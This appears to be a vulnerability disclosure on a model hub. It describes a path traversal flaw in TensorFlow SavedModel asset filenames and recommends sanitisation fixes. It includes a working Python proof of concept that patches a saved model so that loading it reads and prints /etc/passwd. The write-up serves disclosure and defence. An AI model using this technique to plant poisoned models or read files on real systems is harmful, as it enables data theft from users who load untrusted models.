YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

TensorFlow SavedModel: AssetFileDef.filename Path Traversal PoC

Summary

The TensorFlow SavedModel loader constructs asset file paths by joining: export_dir + "assets" + asset_file_def.filename

The filename field from the SavedModel protobuf is NOT sanitized for path traversal sequences (../). An attacker can craft a SavedModel where asset_file_def.filename contains ../../../../etc/passwd, causing the loader to resolve the asset path outside the model directory.

Affected Code

C++ (TensorFlow Serving and C++ consumers):

  • AddAssetsTensorsToInputs() in tensorflow/cc/saved_model/loader.cc
  • Uses io::JoinPath(export_dir, kSavedModelAssetsDirectory, asset_file_def.filename())

Python:

  • get_asset_tensors() in tensorflow/python/saved_model/loader_impl.py
  • Uses os.path.join(assets_directory, asset_proto.filename)

Impact

When a victim loads an attacker-crafted SavedModel and invokes a signature that uses the asset path, the model can read arbitrary files accessible to the process. This is an exfiltration primitive.

Attack scenario:

  1. Attacker publishes a malicious SavedModel (e.g., on a model hub)
  2. Victim downloads and loads it with tf.saved_model.load()
  3. Victim calls a model signature (e.g., model.serve())
  4. The signature reads /etc/passwd (or any target file) via the traversed asset path and returns its contents

Reproduction

import tensorflow as tf
import struct

# Step 1: Create a normal SavedModel with an asset
class M(tf.Module):
    def __init__(self):
        super().__init__()
        self.asset = tf.saved_model.Asset('assets/placeholder.txt')
    
    @tf.function(input_signature=[])
    def serve(self):
        return {'data': tf.io.read_file(self.asset.asset_path)}

m = M()
tf.saved_model.save(m, '/tmp/normal_model', 
                     signatures={'serving_default': m.serve})

# Step 2: Patch saved_model.pb to change asset filename
# Replace 'placeholder.txt' with '../../../../etc/passwd'
import pathlib
pb_path = pathlib.Path('/tmp/normal_model/saved_model.pb')
data = pb_path.read_bytes()
data = data.replace(b'placeholder.txt', b'../../../../etc/passwd')
pb_path.write_bytes(data)

# Step 3: Load the patched model and invoke
model = tf.saved_model.load('/tmp/normal_model')
result = model.signatures['serving_default']()
print("Exfiltrated:", result['data'].numpy().decode())
# Expected: contents of /etc/passwd

Fix Recommendation

Sanitize AssetFileDef.filename before path joining:

  1. Reject filenames containing .. components
  2. Reject absolute paths
  3. Reject paths with null bytes
  4. Use os.path.realpath() and verify the result is within assets_directory
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support